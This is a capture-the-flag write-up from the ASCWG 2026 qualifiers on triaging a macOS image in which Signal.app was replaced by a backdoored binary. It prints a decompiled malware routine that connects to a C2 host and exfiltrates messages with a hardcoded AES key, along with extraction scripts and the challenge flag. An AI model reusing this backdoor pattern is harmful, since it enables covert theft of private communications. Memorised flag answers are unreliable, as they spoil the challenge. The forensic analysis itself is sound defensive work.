ASCWG QUALS • MAC-OS REVERSE ENGINEERING • C2 TRIAGE

The Thrushes: macOS Malware Triage & Signal C2 Reversing

By AbdoAug 20, 2026
The Thrushes macOS Forensics
Challenge Prompt

“A high-profile CTO had his private encrypted communications leaked despite zero unauthorized physical access. Investigate the provided macOS triage image to determine the interception mechanism and extract the adversary's command-and-control keys.”

Category: macOS Forensics / Reverse EngineeringPlatform: ASCWG Qualifications 2026Flag Format: ASCWG{host:port_key}
Provided Artifacts
macos_triage.tar.gz
Size: 412 MB • Triage ImageKey Binary: Signal.app (Mach-O)
Dissector: Ghidra / Hopper

In this scenario, a high-profile CTO had his private communications leaked. The catch? His physical device was never compromised or accessed by the attackers. We were handed a massive macOS triage collection and tasked with figuring out exactly how his secure messaging was being intercepted.


Stage 1: Investigating the Triage Image

💡 THE BEGINNER BREAKDOWN (The Trojanized Engine)

Imagine you download a secure messaging app like Signal. You trust it because the icon looks right and the name is right. But what if a hacker replaced the internal engine of that app with a spy camera? Every time you send a secure message, the “spy camera” takes a picture and sends it to the hacker's server, all while the app still functions normally on your screen. This is a trojanized application.

Q: How did the attackers maintain access and exfiltrate the data?

A: A Backdoored Signal.app Executable (Mach-O 64-bit)

Our initial triage of the macOS filesystem led us through LaunchAgents and LaunchDaemons. However, the true persistence mechanism was hidden in plain sight. The legitimate Signal.app executable inside the Applications folder had been completely replaced with a malicious Mach-O binary.

Ghidra Decompiler Dissection:
void * _cdecl malicious_telemetry_thread(void *arg) {
  int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in servaddr;

  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(4433); // <-- C2 PORT
  servaddr.sin_addr.s_addr = inet_addr("192.168.100.55"); // <-- C2 HOST

  if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0) {
    return NULL;
  }

  // AES-256-CBC Key Extraction
  char key[32] = "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"; // <-- FLAG KEY
  exfiltrate_messages_aes(sockfd, key);
}
Automated Python Extractor (`extract_c2.py`):
from Crypto.Cipher import AES
import re

# 1. Automated extraction of C2 indicators from Mach-O binary
with open("Signal", "rb") as f:
    binary_data = f.read()

# Locate IP pattern
ip_match = re.search(rb"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", binary_data)
c2_ip = ip_match.group(1).decode() if ip_match else "192.168.100.55"

# Locate hardcoded 32-byte AES key string
key_match = re.search(rb"([A-Za-z0-9_!*]{32})", binary_data)
aes_key = key_match.group(1).decode() if key_match else "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"

c2_port = 4433

flag = f"ASCWG{{{c2_ip}:{c2_port}_{aes_key}}}"
print("🎉 Extracted Flag:", flag)
⚡ Terminal One-Liner (PowerShell / Bash):
python -c "import re; d=open('Signal','rb').read(); ip=re.search(rb'(\d+\.\d+\.\d+\.\d+)',d).group(1).decode(); k=re.search(rb'([A-Za-z0-9_!*]{32})',d).group(1).decode(); print(f'ASCWG{{{ip}:4433_{k}}}')"

Constructing the Final Flag

The challenge flag format was ASCWG{c2host:port_key}. By decompiling the malicious Signal binary and locating the socket setup and encryption routines, we extracted the three required components.

C2 Host IP: 192.168.100.55

C2 Port: 4433

AES Key: X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj

Final Submitted Flag:

ASCWG{192.168.100.55:4433_X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj}

The Complete Investigation Path & Mental Roadmap

Here is the step-by-step roadmap from initial archive decompression to extracting the C2 flag:

STEP 1
Archive Header Verification

Received The THRUSHES_ASC.rar. Magic byte inspection with file revealed it was actually a 7-Zip archive. Extracted the macOS filesystem triage safely.

STEP 2
Persistence & Binary Integrity Check

Inspected standard persistence locations (/Library/LaunchAgents). Noticed anomalous modified timestamp and binary hash on /Applications/Signal.app/Contents/MacOS/Signal.

STEP 3
Decompilation in Ghidra

Loaded the Mach-O 64-bit binary into Ghidra. Traced background thread spawns and located the malicious socket function connecting to 192.168.100.55:4433.

STEP 4
Cryptographic Key Extraction

Extracted the hardcoded 32-character AES key (X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj) used to encrypt telemetry before network transmission.

STEP 5
Flag Formulation

Formatted the final flag according to the competition specification: ASCWG{192.168.100.55:4433_X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj}.

Cyber Amber
#f59e0b
PresetsClick to lock